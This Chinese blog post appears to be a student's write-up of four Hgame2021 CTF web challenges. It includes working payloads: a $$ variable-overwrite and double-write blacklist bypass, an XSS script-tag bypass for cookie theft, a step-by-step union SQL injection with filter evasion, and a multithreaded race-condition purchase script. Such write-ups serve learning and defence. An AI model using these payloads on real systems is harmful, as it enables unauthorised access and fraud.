Hgame2021 week2 web ---------(条件竞争)(XSS)(sql注入)(代码审计)

向大佬学习,
参考自:Hgame2021 week2 web

一、LazyDogR4U

1.我的尝试:

。。。没做出来,,感觉好多,好长,好麻烦,,,
不得不说phpstorm在代码审计的时候,比notepad++强不知道多少,,

2.我的不足:

  1. 一个就是毅力不够么,,当时看看感觉很复杂就不做了,,
  2. 看到黑名单,将关键词替换为空。没有很敏感的意识到 替换为空 可以利用 双写绕过 。。这个也是个问题
  3. 我当时 是想把整个东西代码全部都弄懂之后再 做题,结果,一看WP,根本不用全弄懂嘛( $ _ $ )。。。当时给我看的蒙圈了,其实需要的知识点不多,就是变量覆盖的知识点。

flag.php

<?php
session_start();

require_once 'lazy.php';
/* 你直接访问,就怼 <(^-^)> 你 */
if(!isset($_SESSION['username'])){
    
    
    die('您配吗?');
}

/* 这里我把一些html的格式给删除了,不影响*/

if($_SESSION['username'] === 'admin')
{
    
    
    echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
    echo "<h3 style='color: white'>$flag</h3>";
}
else
    {
    
    
    if($submit == "getflag") {
    
    echo "<h3 style='color: #364036'>{
      
      $_SESSION['username']}接近了问题的终点</h3>";}
    else {
    
    echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>"}
}

index.php

<?php
session_start();
require_once "lazy.php"; //包含
if(isset($_SESSION['username'])){
    
    //如果session中有 username这个值的话,重定向到flag.php
    header("Location: flag.php");
    exit();
}else{
    
    
    if(isset($username) && isset($password)){
    
    
        if((new User())->login($username, $password)){
    
    
            header("Location: flag.php");
            exit();
        }else{
    
    
            echo "<script>alert('食人的魔鬼尝试着向答案进发。')</script>";
        }
    }
}
?>

lazy.php

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

/* 将get,post两个的传参数组的键值对都拿出来,然后键名中的黑名单替换为空 */
foreach(array('_GET','_POST') as $_request){
    
    
    foreach ($$_request as $_k => $_v){
    
    //这里一看就是突破点嘛,$$容易导致变量覆盖漏洞,
        foreach ($filter as $youBadBad){
    
    
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${
    
    $_k} = $_v;
        //这个大括号,我去了解了,就是括号的意思,里面的是一个变量,
        //然后外边在把里面的值当作可变变量的名
    }
}
// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
    
    
    require_once $class_name . ".php";
}
spl_autoload_register('auto');

user.php

<?php
class User
{
    
    
    function login($username, $password){
    
    
        if(session_status() == 1){
    
    
            session_start();
        }
        $userList = $this->getUsersList();
        if(array_key_exists($username, $userList)){
    
    
            if(md5($password) == $userList[$username]['pass_md5']){
    
    
                $_SESSION['username'] = $username;
                return true;
            }else{
    
    
                return false;
            }
        }
        return false;
    }

    function logout(){
    
    
        unset($_SESSION['username']);
        session_destroy();
    }

    private function getUsersList(){
    
    
        return Config::getAllUsers();
    }
}

config.php

<?php
class Config{
    
    

    private static array $conf;
    /**
     * @var array|false
     */

    static function init(){
    
    
        self::$conf = parse_ini_file('config.ini', true);
    }

    static function getItem($section, $key){
    
    
        return self::$conf[$section][$key];
    }

    static function getAllUsers(): array
    {
    
    
        $users = self::$conf;
        unset($users['global']);
        return $users;
    }
}
Config::init();

当时就分析了这么多

3.学习WP的

我参考的wp是从 目的出发的,直接找,从那里能够出flag。

flag.php中的这里session中的username=admin就可了。

if($_SESSION['username'] === 'admin')
{
    
    
    echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
    echo "<h3 style='color: white'>$flag</h3>";
}

session的话,再返回lazy.php
注释是当时做题的时候写的,可以选择性忽略。。

/* 将get,post两个的传参数组的键值对都拿出来,然后键名中的黑名单替换为空 */
foreach(array('_GET','_POST') as $_request){
    
    
    foreach ($$_request as $_k => $_v){
    
    //这里一看就是突破点嘛,$$容易导致变量覆盖漏洞,
        foreach ($filter as $youBadBad){
    
    
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${
    
    $_k} = $_v;
        //这个大括号,我去了解了,就是括号的意思,里面的是一个变量,
        //然后外边在把里面的值当作可变变量的名
    }
}

总的功能就是将get,post两个数组中的键值对拿出来,并对他们进行相应的赋值。同时将 键名中的 一些敏感字符给过滤掉。
这里它 将敏感字符替换为空,所以可以 双写绕过

。。我第一时间是在lazy.php上提交的,没反应。然后在index上才好

?_SESSION['username']=admin

在这里插入图片描述

二、Post to zuckonit

1.自己做的,

我的XSS的水平为0.。
甚至练aler(1)都出不来,,
在这里插入图片描述

xss。要弄到管理员的cookie啊
在这里插入图片描述

在这里插入图片描述
环境坏掉了,,,

2. 不足:

  1. 没有脚,,,脚本能力太差了。。

3.学习大佬的WP:

说一下大佬的思路吧。首先script会被替换成div,但是我测试发现base会被置换为控,如果构造<scribasept>alert(1)</scribasept>,可以成功弹窗。

不会,,,想看xss思路的化,看本地的笔记吧,

你输入code,code进行md5加密后的前六位是d600f2的话,就可以submit。然后你的xss脚本是弹cookie的就好。
应该就会弹出cookie然后 抓包访问 flag页面,改一下cookie应该就好了,。然后xss的脚本看这个https://www.cnblogs.com/yuzly/p/10692449.html。里面的xss很全,只要不是bypass很强的,应该都能过。
然后这个code的话,写个py脚本,,
这个脚本还是跟大佬要的。。。哎呀,没脸了,,

import hashlib

for i in range(10000000):

    md = hashlib.md5()
    md.update(str(i).encode('utf-8'))
    n = md.hexdigest()
    if n[0:6] == '3c4f4b':
        print(i);
        # output:
        5689538
        8869817

三、200OK!!

1.我当时做的:

好家伙,每一次点的都不一样,,抓个包,
在这里插入图片描述
在这里插入图片描述
整个status有东西的呀,
整个不是常规HTTP头的东西,明显是出题人加的一个头。
尝试看看是不是有sql注入,
在这里插入图片描述
用union select 报错也不显示,便想用报错注入看看
。。。结果好像报错注入,也不报错,,我就急躁了,

2.收获:

  1. 给我的教训就是,要耐心,先别总是急着换方法,别 union select 不好使就换成报错注入,多试试 看,看看哪些被过滤了,。然后慢慢来
  2. 注意抓包中的HTTP头,注意看里面有什么 多余的 头,就是不是必须的头,很可能那就是解题的地方。

3. 又学习WP,

说是过滤了这些:

['select', 'SELECT', 'from', 'FROM', 'union', 'UNION', 'where','WHERE', ' ']

这就好办了,大小写绕一下, 然后空格绕过一下。绕空格的话,因为不是url,所以不能用%20来绕过,
只能用 /**/ 整个,内敛注释来代替空格了

在这里插入图片描述
好家伙,我order by 了半年,唯独没有从1 开始order。。。

3335'/**/uniON/**/SeleCt/**/database()#      week2sqli爆的这个,

3335'/**/uniON/**/SeleCt/**/table_name/**/frOm/**/
information_schema.tables/**/whERe/**/table_schema='week2sqli'#               f1111111144444444444g

3335'/**/uniON/**/SeleCt/**/column_name/**/frOm/**/information_schema.columns
/**/wheRe/**/table_name='f1111111144444444444g'#          ffffff14gggggg

3335'/**/uniON/**/SeleCt/**/ffffff14gggggg/**/fROm/**/f1111111144444444444g#

hgame{
    
    Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

讲真的。难顶啊,给我的教训就是,要耐心,先别总是急着换方法,别 union select 不好使就换成报错注入,多试试 看,看看哪些被过滤了,。然后慢慢来

四、Liki的生日礼物

开始一个注册登陆页面,正常注册登陆进入,
在这里插入图片描述

1.我的错误的尝试:

我的第一反应是,看看是不是python写的,考点是不是json web token。
在这里插入图片描述

不是,然后扫目录也没什么,那就看源码,和网络,看看里面有什么hints没有。
在这里插入图片描述
在这里插入图片描述便点开看了看,找到了,我感觉比较有用的东西。
在这里插入图片描述看到这个,也不知道该怎么弄,然后几句看看js代码,看看是不是ks在控制这些购买功能之类的
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当时我是看不懂,然后学习WP的时候,也看不懂。。
当时就这样了,不会做啦。

2. WP做法

WP说,这个是典型的条件竞争的题,然后我就赶忙去学习了条件竞争,一看也是啊。买东西,趁他不注意,多买一点就够了嘛,就是买的时候。注意保持SESSION一致。

import threading
import requests
import json
import time

loginurl="https://birthday.liki.link/API/?m=login"
# 注册自己的账号
user={
    
    "name":"qwerasdf","password":"qwerasdf"}
# 会话开启
s= requests.session()
# 登陆商城。向这个页面,post数据user
s.post(url=loginurl,data=user)
# 定义一个函数,队徽多线程的时候来调用这个方法
def post():
    data = {
    
    "amount":"1"}
    buyurl = "https://birthday.liki.link/API/?m=buy"# 有解释
    # 购买兑换券
    try:#能买的话,一次买一个
        s.post(url=buyurl,data=data)
    except:
        print("Failed.")
    return
# 构造循环来运行多线程并判断中止条件
while True:
    # 这里是获取当前用户的信息
    infourl="https://birthday.liki.link/API/?m=getinfo"
    info = json.loads(s.get(url=infourl).text)# 有解释
    money = info['data']['money']
    num = info['data']['num']
    print(money)
    print(num)
    # 当票数超过52张的时候就停止。
    if num >= 52:
        flagurl = "https://birthday.liki.link/API/?m=getflag" #有解释
        print(s.get(url=flagurl).text)#获取该页面的文本
        break
    # 多线程开启,30个线程同时进行。多一点,30就查不多
    for i in range(30):
        # 调用post()方法作为执行的方法,注意这个函数只写函数行就行了,不能够加括号
        t = threading.Thread(target=post)# 这里也不是太明白
        t.start()
    time.sleep(10) #这个是时间停留什么意思???

3.对脚本的一些呼应解释:

这里解释一下为什么脚本的第12行那里要用post方法来登陆,这也是我们抓包之后,才能够发现的啊
在这里插入图片描述

16行的那个buy的页面
在这里插入图片描述

26行的 当前用户信息:
在这里插入图片描述

27行打印出来就是这个。和上面这个一样的展示
在这里插入图片描述
把数据按照字典的形式弄出来???,等学一下json

这是34行的解释
在这里插入图片描述

第38,39,40。这一块再学一学,threading这还不会,还有那个json这里也学一学

42行,time.sleep()推迟
sleep就是停一下子,没有什么,东西,

终于出了,,,
在这里插入图片描述不用sleep也可以的
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/113829312
今日推荐